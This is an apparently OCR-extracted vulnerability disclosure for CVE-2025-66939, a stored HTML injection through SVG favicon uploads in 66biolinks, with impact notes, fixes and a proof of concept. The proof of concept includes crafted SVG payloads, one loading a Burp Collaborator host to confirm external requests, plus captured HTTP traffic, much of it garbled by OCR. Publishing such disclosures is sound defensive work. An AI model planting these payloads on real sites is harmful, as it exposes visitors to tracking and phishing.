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Field
Product

Affected
Version

CVE ID

Description

Vulnerability
Type

Description

The application allows users to upload SVG files as favicons for their “Biolink pages”.
Server-side sanitization removes several HTML elements but fails to filter or neutralize
(anchor) and tags embedded inside the SVG. As a result, an attacker can upload an SVG
containing arbitrary HTML elements that will be rendered in other users’ visiting favicon

links.

Value

66biolinks by AltumCode

61.0.1

CVE-2025-66939

Stored HTML injection in 66biolinks v61.0.1 by AltumCode allows

users to upload SVG files as favicons for their Biolink pages. While
server-side sanitization removes some HTML elements, it does not
filter or neutralize and tags within the SVG. This allows an attacker to
upload a crafted SVG containing arbitrary HTML that will be rendered

when other users visit the page, enabling stored HTML injection,

external resource loading for tracking, phishing via links, and potential

referrer leakage.

CWE-79: Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting’)

https://gist.github.com/Waqgar-Arain/2a21b135a04e7804c124688eal085875

1/7


https://gist.github.com/Waqar-Arain
https://gist.github.com/Waqar-Arain/2a21b135a04e7804c124688ea1085875
https://gist.github.com/Waqar-Arain/2a21b135a04e7804c124688ea1085875
https://gist.github.com/Waqar-Arain/2a21b135a04e7804c124688ea1085875/revisions

2/19/26, 6:49 AM Stored_HTML_Injection_due_to_SVG_File_Upload.md - GitHub
Although JavaScript execution does not occur due to sanitization rules, the presence of
unfiltered HTML tags still allows:

e Stored HTML injection

o External resource loading through , allowing user tracking and external request
generation

e Phishing vectors through links, allowing attacker-controlled URLSs to be displayed in a
trusted Ul context

o Referrer leakage, exposing internal URLSs or user identifiers to third-party servers

o Potential escalation if sanitization bypasses or future browser behavior changes

Impact

Attacker-supplied SVG favicons allow stored HTML injection, enabling deceptive links or Ul
elements to appear within users bio links. On visiting favicon URL, external requests occur
which exposes users to phishing if they interact with the injected content.

Recommendations

« Strictly sanitize SVG uploads by removing all HTML-capable elements such as and .

e Serve uploaded SVGs as sanitized raster images (PNG/WebP) to eliminate
embedded HTML/JS risk.

e Apply output encoding when rendering any user-supplied content inside profile pages.
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Proof of Concept (PoC)

Register a user on 66biolinks portal:

://66biolinks.com/demoy/register?redirect=dashboard ¥

Sign up

Name
Email
Password ®

° Success! CLOUDFLARE
=

| confirm that | have read and understood the Terms and Conditions and

Privacy Policy of the site.
Register

Already have an account? Sign in

After logging in, navigate to the “Biolink Pages” tab and create a biolink page. After that,
click on Settings — Customizations:

« - C -//66biolinks.com/demo/link/55842

' Links Biolink Settings

wkqr2zw
B Dashboard ® Your link is https://66biolinks.com/demo/wkqr2zw

@ Shortened links

@ Successfully updated. X

File links

% Short URL
B8 Vcard links

66biolinks.com/demo/  wkqr2zw

@ Event links Leave empty for a randomly generated one.
B Static sites @ Select preset themes
= Links statistics

&/ Customizations

? QR codes
& Background

https://gist.github.com/Wagqar-Arain/2a21b135a04e7804c124688ea1085875 3/7


https://private-user-images.githubusercontent.com/44610395/517869749-1d6d0a75-ce9a-4c48-afd9-8a8dfac90bfa.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..iQcUH_KVhhX_rJAwS-oSh90uvQk35fdTWzBS5uwSjWY
https://private-user-images.githubusercontent.com/44610395/517869749-1d6d0a75-ce9a-4c48-afd9-8a8dfac90bfa.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..iQcUH_KVhhX_rJAwS-oSh90uvQk35fdTWzBS5uwSjWY
https://private-user-images.githubusercontent.com/44610395/517869779-b2cc23c6-cafa-483d-b729-ebbbc4aac3a3.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..iJ5yC-9q1y6XWh9BsGvFUdaFnLOw4fGIBd_DKOOanAI
https://private-user-images.githubusercontent.com/44610395/517869779-b2cc23c6-cafa-483d-b729-ebbbc4aac3a3.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..iJ5yC-9q1y6XWh9BsGvFUdaFnLOw4fGIBd_DKOOanAI

2/19/26, 6:49 AM

Stored_HTML_Injection_due_to_SVG_File_Upload.md - GitHub

Here, the application allows you to upload an .SVG file as the favicon for the bio page:

< c ://66biolinks.com/demo/link/55842
Scroll Fixed
y A = Background blur Opx
B8 Dashboard & Background brightness 100%
{ ]
# Biolink pages
M Favicon
@ Shortened links L‘]
Choose File No file chosen
B File links
Delete uploaded file
B Veard links @ Remove selected file
Jpg, jpeg, .png, .ico, svg, .gif, webp allowed. 2 MB maximum.
& Event links
2 Font
B Static sites
Lato Arial Inter
1= links statistics

The following request was initiated at the /link-ajax endpoint after submitting changes to

the biolink:

Target

https://66biolinks.com /demo/link-ajax
Request
Pretty Raw Hex & \n
1 POST /demo/link-ajax HTTE/Z
2 Host: G6biolinks.com
3 Cookie:

Content-Length: 4394

Sec-Ch-Ua-Platform: "Windows"

Aceept-Language: en-US, en;q=0.9

Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"

3 Sec-Ch-Ua-Mobile: 20

9 X-Requested-With: XMLHttpRequest

10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Acecept: application/json, text/javascript, */*; g=0.01

2 Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryfspyvESAndDpEvAL

12 origin: https://E6hiclinks.com

14 Bec-Petch-Bite: same-origin

15 8ec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

17 Referer: https://66biolinks.con/demo/link/55842

18 Accept-Encoding: gzip, deflats, br

19 Priority: w1, i

N LS

"~

—————— WebKitFormBoundaryfspyvZSAndDpEvAL
Content-Disposition: form-data; name="token"

£92dE£56a32152a23£abZa0e3al8cP19£083c279574b112700c4759327a5d4590
777777 WebKitFormBoundaryf£spyvasAnd4DpEvAL

RN RN

[V

200 977

Response

13
14

16

Pretty Raw Hex

|
=1
n

Render =

HTTE/Z 200 OK

Date: Sun, 16 Now 2025 10:49:08 GMT

Content-Typs: text/html; charsst=UTEF-8

Server: cloudflare

Content-Security-Folicy: frame-ancestors *;
Strict-Transport-Sscurity: max-age=31536000; presload
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Mel: {"report to":"cf-nel", "success fraction":0.0, "max_age": 604800}
Report-To:

{("group": "ef-nel", "max_age":604800, "endpoints”: [{"url”: "https://a.nel.clou
dflare.com/report/v4?s=H700XyhL9YRZKy3aLyraB 8 FYzhA20kmB xFetlysxiwBullcEAhN
CQ5ZhNofnxTKx8Ima32BE2FDeSX0hSIFLMRAVDIyZ8 2BviFz4WpnY rwd BIws3D83D "} ] )
Cf-Cache-Status: DYNAMIC

Cf-Ray: 99fE6h7£hd083422-DOH

Alt-8ve: h3=":443"; wma=86400

("message”: ["Successfully

updated. "], "status": "success", "details”: {"url": "wkqrZzw”, "images": {"seo_im
age"inull, "favico https:\/\/E6Ebiclinks. com\/deme\/uploads\/favicons\ /324
£361410c13cellbeblTEaE75a2292¢. svg ", "hackground”:null, "pwa_icon":null}}}
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Target https://66biolinks.com /demo/link-ajax 200 977
a- -

Request Response

Pretty Raw Hex [N \n = Pretty Raw Hex Render =

&7 1 HITE/Z 200 OK

48 | preset . 2 Date: Sun, 16 Nov 2025 10:49:08 GMT

49 —m---- WebKitFormBoundaryfspyvZSAnd4DpEvAL 3 Content-Type: text/html; charset=UTE-8

S0 Content-Disposition: form-data; name="background"” 4 gerver: cloudflare

S S cContent-Security-Policy: frame-ancestors *;

52 . ¢ strict-Transport-Security: max-age=31536000; preload

53 oo WebRitFormBoundary£spyvaSAndDpEVIL 7 Expires: Thu, 19 Hov 1981 08:52:00 GMT

54 Content-Disposition: form-data; name="hackground_attachment” 8 cache-Control: nmo-store, no-cache, must-revalidate

=5 S Pragma: no-cache

36| acroll . 10 Vary: Accept-Encoding

57| - WebRitFarmBoundaryfspyva3AndDpEviL 11 wel: ["report to":"cf-nel", "success_fraction":0.0, "max_age":504800}

59 Content-Disposition: form-data; name="background blur" 12 Report-T

59 ["group”: "ef-nel”, "max_age":E04B00, "endpoints”: [{"url™: "https://a.nel.clou

€00 . dflare.com/report/wl?s=H700XyhLIYRZRy3alyraB 8 FYzbEZ0kmE xFetlysciwBullcEARN

6L —=-m-- WebKitFormBoundaryfspyvZSAndDpEvAL CQSZhNofnxTEx8Ima’2BY2FDeSX0bE3FLMRAVDIyZ8 2BviFzdWpnY rwd BIws3D83D" )] )

62 Content-Disposition: form-data; name="background_brightness" 13 Cf-Cache-Status: DYNAMIC

€3 14 Cf-Ray: 99£66b7£hd0834=2-DoH

€4 100 15 Alt-sve: h3=":443"; ma=BE400

€5 | -—-—-- WebRitFormBoundaryfspyvasandDpEvIL 16

66 Content-Disposition: form-data; name="favicon”; filename="image load.svg" 15 (mpessager: ["Successfully

&7 Content-Type: image/svg+sml updated. "], "status": "success", "details”: {"url”: "wkqrlzw”, "images": ("seo_im

e . . age”:inull, "favicon": "https:\/\/66biolinks.com\/demo’\/uploads’/ favicons\/34

€9 <svg >mlns="http://www.w3.o0rg/2000/svg" width="200" height="100"> £361410c13ceLlbch3T6a675a290¢. svg ", "background”: null, "pwa icon:null))}

70 <image href="https://z001&3sjwrezpmyxéqkEkadbrhiiatz, castify. con”

=10 y="0" width="200" height="100"/>

TL | </ svy>

T2 | === WebKitFormBoundaryfspyvZSAndDpEvAL

732 Content-Disposition: form-data; name="font"

74

After uploading and saving the biolink page, the link can be visited as shown:

« > ¢

kiesy//66biolinks.com/demo/wkar2zw

is O Elements Console Sources Network Performance Memory  Application  Privacy and security Lighthouse  Recorder DOM Invader
® @ . Q. [JPreservelog [ Disable cache | Nothrotting ~ 7 & &
Y svg @ Oinvert More filters ¥ Al Fetch/XHR | Doc | CSS
| 200 ms 400 ms 600 ms 800 ms 1,000 ms 1,200 ms 1400 ms 1,600 ms 1,800 ms 2,000 ms
Name Status Type Initiator
-I 341361410c13ce11bcb376a675a2e92c.svg 200 svg+xml [ Other
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The uploaded payload contained an HTML <img> tag, where the reference URL is set to
another domain:

C -//66biolinks.com/demo/uploads/favicons/34f361410c13ce11bcb376a675a2e92¢.svg

After the SVG file is accessed, a request is sent to the specified domain, as shown:

| 11 2025-Nov-16 10:51:24.491 UTC HTTP 700I63 ejwrczpmyx6 gk6loo0brhisatz

Description Request to Collaborator Response from Collaborator

Pretty Raw Hex Render

HTTE/1.1 200 OK

Server: Burp Collaborator https://burpcollaborator.nest/
¥-Collaborator-Version: 4

Content-Type: text/html

Content-Length: 55

[T TSR

7 <html>
<hbody>
eyalBalB05£f130LE8s)5vEzijgkyz
</hady>
</html>

The file upload functionality can also be abused to upload regular images hosted on
external domains:

c ://66biolinks.com/demo/uploads/block_images/585aa30b9dd86d6fd1fd4f94ebb65aef8.cvg

<svg xmlns="http://www.w3.0rg/2000/svg" width="200" height="100">
<image href="https://example.com/image.png" x="0" y="0" width="200"
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height="100"/>
</svg>

Furthermore, HTML anchor tags can be injected into the favicon file, potentially leading to
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unintended user interactions or navigation:

c

.//66biolinks.com/demo/uploads/favicons/90875ddaf6270ca8ace9calede71d7fd.svg

[‘e@ﬁ

https://z00l63ejwrczpmyxégkélowObrhiSatz.oastify.com

<svg xmlns="http://www.w3.0rg/2000/svg" width="100" height="20">
<a href="https://example.com" target="_top">
<text x="0" y="15">test</text>

</a>
</svg>

https://gist.github.com/Waqgar-Arain/2a21b135a04e7804c124688eal085875

717


https://private-user-images.githubusercontent.com/44610395/517870106-53d9ceea-7bcb-4443-9c78-e03aa6e7153d.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..KGIs_3wd0ARmN3_SrxDQE90ziLeNhv12_ck8APM3RH0
https://private-user-images.githubusercontent.com/44610395/517870106-53d9ceea-7bcb-4443-9c78-e03aa6e7153d.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..KGIs_3wd0ARmN3_SrxDQE90ziLeNhv12_ck8APM3RH0

